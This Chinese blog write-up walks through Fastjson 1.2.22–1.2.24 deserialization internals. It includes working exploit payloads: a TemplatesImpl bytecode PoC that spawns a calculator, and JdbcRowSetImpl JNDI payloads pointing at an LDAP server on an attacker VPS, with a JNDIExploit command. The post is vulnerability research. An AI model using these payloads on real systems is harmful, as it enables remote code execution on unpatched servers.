Fastjson反序列化漏洞分析 1.2.22-1.2.24

Zh1z3ven發表於2022-01-21

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson是Alibaba開發的Java語言編寫的高效能JSON庫,用於將資料在JSON和Java Object之間互相轉換,提供兩個主要介面JSON.toJSONString和JSON.parseObject/JSON.parse來分別實現序列化和反序列化操作。

環境

Tomcat 8.5.56
org.apache.tomcat.embed 8.5.58
fastjson 1.2.24

漏洞版本:

  • fastjson 1.2.22-1.2.24

利用方式:

  • TemplatesImpl
  • JdbcRowSetImpl

FastJson序列化

序列化主要是通過toJSONString方法,而設定SerializerFeature.WriteClassName屬性之後在序列化的時候會多寫入一個@type,並寫上被序列化的類名。

@WebServlet("/ser")
public class SerServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        Person person = new Person();
        person.setAge(18);
        person.setName("Student");
        String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(jsonString);

        resp.getWriter().write(jsonString);
    }
}

反序列化則是通過parse()/parseObject()方法,parseObject其實也是使用的parse方法,只是多了一處toJSON方法處理物件。

(注意本地測試時可能需要開啟autotype),可以選擇在jvm引數中新增-Dfastjson.parser.autoTypeSupport=true

@WebServlet("/deser")
public class DeserServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        
        Object parse = JSON.parseObject(req.getParameter("param"));
        System.out.println(JSON.parseObject(req.getParameter("param")));
        resp.getWriter().write(parse.toString());
    }
}

可以看到帶上@type並且開啟autotype指定反序列化的類後會預設呼叫該類的構造/get/set方法

param={"@type":"com.example.Fastjson_Tomcat.fastjson.Person", "age":18,"name":"Student"}

Fastjson反序列化

JSON.parseObject下斷點,跟一下反序列化的過程

首先進入parseObject方法,在裡面呼叫的parse方法

繼續跟,在過載的parse方法中看到了這樣一個引數DEFAULT_PARSER_FEATURE。在fj中在呼叫JSON.parse(text)對json文字進行解析時,這裡使用的是預設的預設配置

public static Object parse(String text) {
    return parse(text, DEFAULT_PARSER_FEATURE);
}

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    } else {
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

而在後續建立DefaultJSONParser例項物件時,值得注意的是傳入了一個ParserConfig.getGlobalInstance(),呼叫後會獲取global屬性,該屬性會生成一個ParserConfig的例項化物件,裡面儲存的是全域性配置的一些東西,包括網上文章講的通過程式碼開啟autotype的一種方式也是利用的該類

那麼在建立DefaultJSONParser例項中呼叫其有參構造時,還用到了JSONScanner,其繼承自JSONLexerBase也是做為詞法解析器的實現類,進入new JSONScanner時,首先會呼叫父類JSONLexerBase的有參構造(引數為features),呼叫時會做包括初始化時區、語言等配置。

後續,後面JSONScanner也會作為lexer(詞法解析器)對反序列化的字串逐個讀取,回到JSONScanner的構造方法,初始化了一些值,包括

private final String text;  //待反序列化的字串
private final int len;  //字串的長度

而呼叫JSONScanner#next()方法時,如果讀取到末尾時則返回\u001a,否則呼叫charAt方法返回指定索引代表的字元。那麼配合上之前的邏輯,就是在這裡迴圈獲取的我們傳入的待反序列化str,並且還會跳過\ufeff(\ufeff是utf-8的BOM,BOM(“ByteOrder Mark”),用來宣告編碼資訊)

public final char next() {
    int index = ++this.bp;
    return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}

關於DefaultJSONParser相關屬性:
input: 傳入的待反序列化字串
config: 配置資訊
lexer: 詞法解析器

回頭看DefaultJSONParser的例項化,最終呼叫的是DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config)方法,這裡初始化了很多有用的資訊:

 this.lexer     //詞法解析器
 this.input     //待反序列化字串
 this.config    //配置資訊
 this.symbolTable   //這個在三夢師傅文章提過,“我稱之為符號表,它可以根據傳入的字元,進而解析知道你想要讀取的一段字串”
 還有一步很重要,這裡對lexer.token賦值為12

token這個值是JSONLexerBase類中的屬性,這裡把JSONToken類貼出來方便理解。個人感覺token是對於當前字元ch的一個對映,用來表示input中的某些特殊字元,更官方一點的說法可能就是詞法型別

public class JSONToken {
    public static final int ERROR = 1;
    public static final int LITERAL_INT = 2;
    public static final int LITERAL_FLOAT = 3;
    public static final int LITERAL_STRING = 4;
    public static final int LITERAL_ISO8601_DATE = 5;
    public static final int TRUE = 6;
    public static final int FALSE = 7;
    public static final int NULL = 8;
    public static final int NEW = 9;
    public static final int LPAREN = 10;
    public static final int RPAREN = 11;
    public static final int LBRACE = 12;
    public static final int RBRACE = 13;
    public static final int LBRACKET = 14;
    public static final int RBRACKET = 15;
    public static final int COMMA = 16;
    public static final int COLON = 17;
    public static final int IDENTIFIER = 18;
    public static final int FIELD_NAME = 19;
    public static final int EOF = 20;
    public static final int SET = 21;
    public static final int TREE_SET = 22;
    public static final int UNDEFINED = 23;

    public JSONToken() {
    }

    public static String name(int value) {
        switch(value) {
        case 1:
            return "error";
        case 2:
            return "int";
        case 3:
            return "float";
        case 4:
            return "string";
        case 5:
            return "iso8601";
        case 6:
            return "true";
        case 7:
            return "false";
        case 8:
            return "null";
        case 9:
            return "new";
        case 10:
            return "(";
        case 11:
            return ")";
        case 12:
            return "{";
        case 13:
            return "}";
        case 14:
            return "[";
        case 15:
            return "]";
        case 16:
            return ",";
        case 17:
            return ":";
        case 18:
            return "ident";
        case 19:
            return "fieldName";
        case 20:
            return "EOF";
        case 21:
            return "Set";
        case 22:
            return "TreeSet";
        case 23:
            return "undefined";
        default:
            return "Unknown";
        }
    }
}

DefaultJSONParser例項化之後呼叫parse()方法

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    } else {
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

呼叫過載的parse,繼續跟進

public Object parse() {
    return this.parse((Object)null);
}

最終進入Object parse(Object fieldName)方法
首先拿到lexer此法解析器,後續通過lexer.token()獲取到當前的token的值,為12,之後進入switch邏輯

當case 12時,進入如下邏輯,跟進JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

首先來一段八股文。Feature.OrderedField作用是將String轉換Json物件時不要調整順序(FastJson轉換時預設使用HashMap,所以排序規則是根據HASH值排序的)
而最終lexer.isEnabled(Feature.OrderedField)==false,這裡boolean的值決定了使用HashMap還是LinkedMap存放資料。當為false時,使用HashMap存放。上面說了HashMap的根據key的hash演算法確定在陣列中的位置,當發生hash衝突的時候,根據二叉樹或者紅黑樹構成連結串列。所以是有序的,key確定,位置也就確定了。而LinkedHashMap的內部維持了一個雙向連結串列,儲存了資料的插入順序,遍歷時,先得到的資料便是先插入的。

public JSONObject(int initialCapacity, boolean ordered) {
    if (ordered) {
        this.map = new LinkedHashMap(initialCapacity);
    } else {
        this.map = new HashMap(initialCapacity);
    }

}

回到parse方法,之後進入this.parseObject((Map)object, fieldName)
依然是依據token的值進行處理,進入while迴圈後首先呼叫skipWhitespace方法對類似於\r,\n,\t等空格類的字元進行處理操作,之後通過getCurrent()方法拿到當前的ch值(如果當前值為,則向後讀取一位)第一次為"

後續值得注意的是lexer.scanSymbol方法,該方法會取出被"包裹的值,第一次是拿來獲取key,第二次則是當key的值為@type且未禁用關鍵字解析(也就是我們通常所說的禁用autotype)則會呼叫loadClass方法去生成指定類的class物件。對應程式碼如下:

if (ch == '"') {
    key = lexer.scanSymbol(this.symbolTable, '"');
    lexer.skipWhitespace();
    ch = lexer.getCurrent();
    
    ...
    ...
ch = lexer.getCurrent();
lexer.resetStringPosition();
Object obj;
Object instance;
String ref;
Object thisObj;
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

所以,比如我們經常看到的一種poc"{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl"當未禁用key解析時(@type)就會幫我們生成TemplatessImpl的class物件。

之後獲取ObjectDeserializer物件並呼叫deserialze方法進行反序列化

這裡主要關注下在呼叫this.config.getDeserailizer(clazz)方法時,會呼叫JavaBeanInfo.build(),首先這裡通過反射獲取到該類中所有的get/set方法賦值給methods陣列,之後會去迴圈遍歷符合條件的get/set方法

貼出部分build方法中判斷邏輯程式碼:

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
        ...
                if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                    Class<?>[] types = method.getParameterTypes();
                    
                    ...
                    
                        if (methodName.startsWith("set")) {
                            char c3 = methodName.charAt(3);
                            String propertyName;
                            if (!Character.isUpperCase(c3) && c3 <= 512) {
                                if (c3 == '_') {
                                    propertyName = methodName.substring(4);
                                } else if (c3 == 'f') {
                                    propertyName = methodName.substring(3);
                                } else {
                                    if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
                                        continue;
                                    }

                                    propertyName = TypeUtils.decapitalize(methodName.substring(3));
                                }
                            } else if (TypeUtils.compatibleWithJavaBean) {
                                propertyName = TypeUtils.decapitalize(methodName.substring(3));
                            } else {
                                propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                            }

                            Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
                            if (field == null && types[0] == Boolean.TYPE) {
                                isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
                                field = TypeUtils.getField(clazz, isFieldName, declaredFields);
                            }

                            ...
                            
            
            var30 = clazz.getMethods();
            var29 = var30.length;

            for(i = 0; i < var29; ++i) {
                method = var30[i];
                String methodName = method.getName();
                if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
                    JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
                    if (annotation == null || !annotation.deserialize()) {
                        String propertyName;
                        if (annotation != null && annotation.name().length() > 0) {
                            propertyName = annotation.name();
                        } else {
                            propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                        }

                        fieldInfo = getField(fieldList, propertyName);
                        if (fieldInfo == null) {
                            if (propertyNamingStrategy != null) {
                                propertyName = propertyNamingStrategy.translate(propertyName);
                            }

                            add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
                        }
                    }
                }
            }

            return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);
        }
    }

簡單跟一下後發現 大致對於set/get方法查詢邏輯如下:
set查詢邏輯:
1、方法名長度大於等於4
2、非static方法
3、返回值為void或當前類
4、方法名以set開頭

get查詢邏輯:
1、方法名長度大於等於4
2、方法名以get開頭
3、方法名第4個字母為大寫
4、無需傳參
5、返回值型別為Collection、Map的實現類或為AtomicBoolean AtomicInteger AtomicLong

下面跟一下在反序列化時呼叫get/set方法的邏輯:
回到ObjectDeserializer.deserialize方法,在parseField下斷點

跟進過載的parseField方法,

跟進setValue

在setValue方法中反射呼叫set/get方法

小結

JSON.parseObject()
    JSON.parse()        //實際上還是呼叫到parse()方法
        DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
					// 其中涉及到了一些屬性如 text,len,input,ch,config,symbolTable等
					JSONScanner(input, features)				// lexer 詞法解析器
            JSONLexerBase(features)
        DefaultJSONParser.parse()
        DefaultJSONParser.parse((Object)null)
            lexer.token()			// 獲取當前token
            lexer.isEnabled(Feature.OrderedField)		// 判斷使用HashMap還是LinkedMap
            		this.parseObject((Map)object, fieldName)
									key = lexer.scanSymbol(this.symbolTable, '"')  //第1次獲取傳入的第1個key,為@type
            			ref = lexer.scanSymbol(this.symbolTable, '"')		//當開啟autotype且key值為@type時執行下面邏輯
            			clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader())		//獲取指定類的class物件
									this.config.getDeserializer(clazz) // 獲取ObjectDeserializer物件
            				JavaBeanInfo.build()	//根據指定類中符合條件的get/set方法
            			deserializer.deserialze(this, clazz, fieldName)	
            				this.deserialze(parser, type, fieldName, 0)
            					((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues)
            						setValue(Object object, Object value) //反射呼叫set/get方法

Fastjson TemplatessImpl復現分析

漏洞復現

漏洞環境:

感謝keyi老師提供的漏洞環境~
pom.xml

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.12</version>
</dependency>

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
</dependency>

服務端程式碼

// TemplatesImple
public static void testTemplatesImple(String payload){

        System.out.println("[*] Payload:" + payload);
        try {
            JSON.parse(payload, Feature.SupportNonPublicField);
        } catch (JSONException var2) {
        }
    }
    
// Servlet
@WebServlet("/Templates")
public class TemplatesImplPocServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String payload = req.getParameter("param");
        FastJson.testTemplatesImple(payload);

    }
}

前提條件

呼叫parse()或parseObject()時需要設定Feature.SupportNonPublicField進行反序列化操作才能成功觸發利用。因為在利用TemplatesImpl這個類時,_bytecodes_name都是私有屬性,而Fastjosn在反序列化時預設只會反序列化public屬性,所以需要加上Feature.SupportNonPublicField

PoC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl","_bytecodes":["yv66vgAAADQAOgoACQAqCgArACwIAC0KACsALgcALwoABQAwBwAxCgAHACoHADIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAC9MY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjOwEADVN0YWNrTWFwVGFibGUHADEHAC8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAMwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABGNhbGMBAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHADQMADUANgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwANwA4AQATamF2YS9pby9JT0V4Y2VwdGlvbgwAOQALAQAtY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAkAAAAAAAQAAQAKAAsAAQAMAAAAdAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwANAAAAEgAEAAAADQAEAA8ADQAQABUAEQAOAAAAFgACABEABAAPABAAAQAAABYAEQASAAAAEwAAABAAAv8AEAABBwAUAAEHABUEAAEAFgAXAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAGgAbAAIAHAAAAAQAAQAdAAEAFgAeAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAHwAgAAIAAAABACEAIgADABwAAAAEAAEAHQAJACMAJAABAAwAAABBAAIAAgAAAAm7AAdZtwAITLEAAAACAA0AAAAKAAIAAAAeAAgAHwAOAAAAFgACAAAACQAlACYAAAAIAAEAJwASAAEAAQAoAAAAAgAp"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

執行後訪問該Servlet的路由即可彈出計算器

簡單看下poc,之前分析CC3的文章中有深入分析過TemplatesImpl這個類,在CC3的場景也是利用的初始化TemplatesImpl去實現的程式碼執行,其中涉及到幾個判斷,首先是_name不為null,且_bytescodes代表的類的父類為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet最後通過ClassLoader#defineClass()載入位元組碼實現程式碼執行。
所以這次poc中的幾個點像是_name_bytecodes就比較容易理解為什麼要這樣構造了。但是還有一些諸如'_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}這段以及為什麼要base64編碼位元組碼,並且在裡面為什麼會被正常解碼還不是很清楚,後面除錯分析一下。

除錯分析

引用一段Mik7ea師傅poc說明:

下面調一下這整條鏈,帶著剛才的幾個問題進去調:

  • _bytecodes為什麼在反序列化時進行base64解碼
  • _outputProperties如何與getOutputProperties方法關聯起來
  • _tfactory為什麼要設定值

還是在parse()方法處下斷點,跟進後首先在Feature.config(featureValues, feature, true)方法中通過或等於Feature.mask生成一段值之後賦值給featureValues,之後帶著featureValuestext(輸入的poc)傳給過載的parse()方法

中間省略掉new DefaultJSONParser()等步驟,跟進到DefaultJSONParser#parse()方法裡,其實主要是看怎麼解析的JSON字串,我們直接跟到關鍵方法裡:其中在this.parseObject((Map)object, fieldName)處對資料進行解析

繼續跟進,在parseObject()方法中首先還是對空格等字元進行處理,之後獲取當前下標的ch字元,第一個是"

之後進入符合"的if邏輯中,依舊是我們前面說的,通過scanSymbol()方法獲取到當前"包裹的鍵值也就是獲取到@type。之後走了一個判斷,也就是"包裹之後是不是:了,如果不是:就不符合json格式,直接丟擲異常

之後獲取下一個ch,並且繼續處理一次空格等相似的字元

之後的getCurrent()方法拿到的就是我們json鍵值對中,‘值’所對應的第一個",下面會開始對值進行解析,首先判斷當前key是否為@type並且是否開啟了autptype,條件符合則去通過scanSymbol()方法獲取到‘值’(TemplatesImpl的全限定類名),之後通過loadClass()載入這個‘值’也就是TemplatesImpl這個類

跟進loadClass()方法,首先先去mappings中根據該className獲取相應的類的class物件

不過這次肯定沒有,之後還有兩個判斷邏輯,判斷是否以[開頭或以L開頭以;結尾,不過這次沒有進入該邏輯,但這兩個點會涉及到後面一些補丁的繞過

之後就是通過當前執行緒獲取當前上下文的ClassLoader之後呼叫loadClass載入該類並將ClassName與class物件的對映put進Map中去,最後return該class物件

回到DefaultJSONParser#parseObject()方法,通過getDeserializer獲得當前class物件中的一些set/get方法,這個在上面已經分析過了,下面跟進deserialzie方法

中間有一些掃描和邏輯判斷的過程,之後來到parseField方法

解析到key為_bytecodes時,呼叫parseField方法

獲取到_bytecodes對應的值後,呼叫setValue方法設定值

跟入後,先判斷當前fieldinfomethod還是field,因為是_bytecodes所以走入處理field的邏輯

之後就是Filed.set() 將惡意類的bytes陣列設定為TemplatesImpl類中屬性_bytecodes的值

後續就是迴圈,通過呼叫parseField解析各個key,當key為_outputProperties繼續跟進

首先在smartMatch()方法去掉_

後續和上面_bytecodes處理差不多,直接跟進到setValue()方法。因為與_bytecodes不通,這裡去掉了_outputProperties會進入處理method的邏輯裡

而因為返回值型別為Properties它是Map介面的實現類,所以會跳入該else if邏輯中,通過反射呼叫getOutputProperties

後面其實就是走defineClass()載入位元組碼然後通過newInstance()例項化,就不再過多分析了。

0x01 關於_bytecodes base64編碼:
parseField()方法中的deserialize方法中會進行base64解碼,呼叫棧如下圖

第一次進入時token為16,當第二次才為4,從而呼叫bytesValue()進行base64解碼

0x02 關於_tfactory:
_tfactory其實是因為在getTransletInstance()函式中呼叫了defineTransletClasses()函式,defineTransletClasses()中會呼叫_tfactory.getExternalExtensionsMap(),所以要設定值,不能為null

Fastjson JdbcRowSetImpl復現分析

這條鏈子其實是通過JNDI的方式實現的程式碼執行

JNDI

JNDI可以參考我之前寫的JNDI文章
利用姿勢主要是RMI或LDAP方式去利用,但是通常是通過LDAP方式去利用,而JNDI+LDAP的限制為JDK版本<=6u211、7u201、8u191,高版本JDK需要去Bypass,Bypass的姿勢可以參考kingx師傅和淺藍師傅的文章,這裡就不再細究了。
利用的話可以使用marshalsec專案或者feihong師傅的JNDIExploit

漏洞復現

PoC,這裡用feihong師傅的JNDIExploit

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps_ip:1389/", "autoCommit":true}

vps起JNDIExlpoit

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vps_ip -l 1389 -p 809
0

payload

POST /Fastjson_Tomcat_war/JdbcRowSetImpl HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=208EB5DC36CB137A684E0157379FE8CC
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
cmd: ls

param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://8.142.34.126:1389/Basic/TomcatEcho", "autoCommit":true}

除錯分析

這條鏈主要是com.sun.rowset.JdbcRowSetImpl類中存在setAutoCommit()setDataSourceName()方法,通過Fastjson的反序列化機制會自動呼叫set方法來實現JNDI注入

下斷點跟進去,前面和TemplatesImpl鏈過程類似,重點看deserialze()之後的部分

繼續跟進後走到FastjsonASMDeserializer中,這部分是ASM機制生成的臨時程式碼,這部分是看不到的,繼續跟進就好
之後進入JdbcRowSetImpl#setDataSourceName()方法,會將我們的遠端地址寫入dataSource屬性

之後回到deserialze()方法依舊是走parseField()邏輯,最終在setvalue()方法會去反射呼叫setAutocommit(),跟進去

setAutocommit()中會去呼叫connect()方法,後續就是經典的Initialcontext#lookup()觸發JNDI注入了,再往後就沒必要跟了。

寫在最後

其實1.2.24的Fastjson現在基本遇不到了,而TemplatesImpl鏈的場景就更少了,更多的用到的還是JdbcRowSetImpl通過JNDI去實現程式碼執行,但是TemplatesImpl這條鏈的思路很巧妙,值得學習。

Reference

https://www.cnblogs.com/nice0e3/p/14601670.html
https://threedr3am.github.io/2020/01/29/Fastjson反序列化RCE核心-四個關鍵點分析/https://www.mi1k7ea.com/2019/11/07/Fastjson系列二——1-2-22-1-2-24反序列化漏洞/

相關文章